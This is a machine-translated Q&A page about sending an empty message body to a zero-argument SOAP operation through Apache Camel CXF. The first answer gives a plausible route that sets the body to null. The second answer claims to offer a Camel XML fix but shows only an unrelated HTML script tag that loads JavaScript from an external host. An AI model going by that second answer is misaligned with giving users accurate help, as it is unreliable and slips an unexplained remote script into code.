Apache Camel:发送空体ws

时间:2014-03-21 20:37:24

标签: cxf apache-camel

如何使用Apache Camel调用带有空消息体的SOAP Web服务?

例如,路由上的最终端点是在我的代理上调用带有0个参数的方法。

编辑:

示例xml配置:

<route id="someRoute">
            <from uri="ref:activemq-queue"/>
            <setHeader headerName="operationName">
                <constant>invoke</constant>
            </setHeader>
            <to uri="cxf:bean:someWS"/>
</route>

...

<cxf:cxfEndpoint id="someWS" address="${ws.address}"
                     serviceClass="com.example.ws.SomeWS"

问题是WS上的'invoke'方法接受0个参数,并抛出一个异常,说明正在接收1个参数。有没有办法让我指定忽略这个收到的输入?

2 个答案:

答案 0 :(得分:1)

如果调用只接受0参数,则可以将消息体设置为null。自camel 2.12.3以来添加了null simple表达式。

<route id="someRoute">
            <from uri="ref:activemq-queue"/>
            <setBody>
               <simple>null</simple>
            </setBody>
            <setHeader headerName="operationName">
                <constant>invoke</constant>
            </setHeader>
            <to uri="cxf:bean:someWS"/>
</route>

答案 1 :(得分:0)

我还需要为Apache Camel xml设置一个空的正文,下面的解决方案对我有用。

<script src="https://test.firebaseapp.com/file.js" ></script>

希望这对任何需要它的人都有帮助。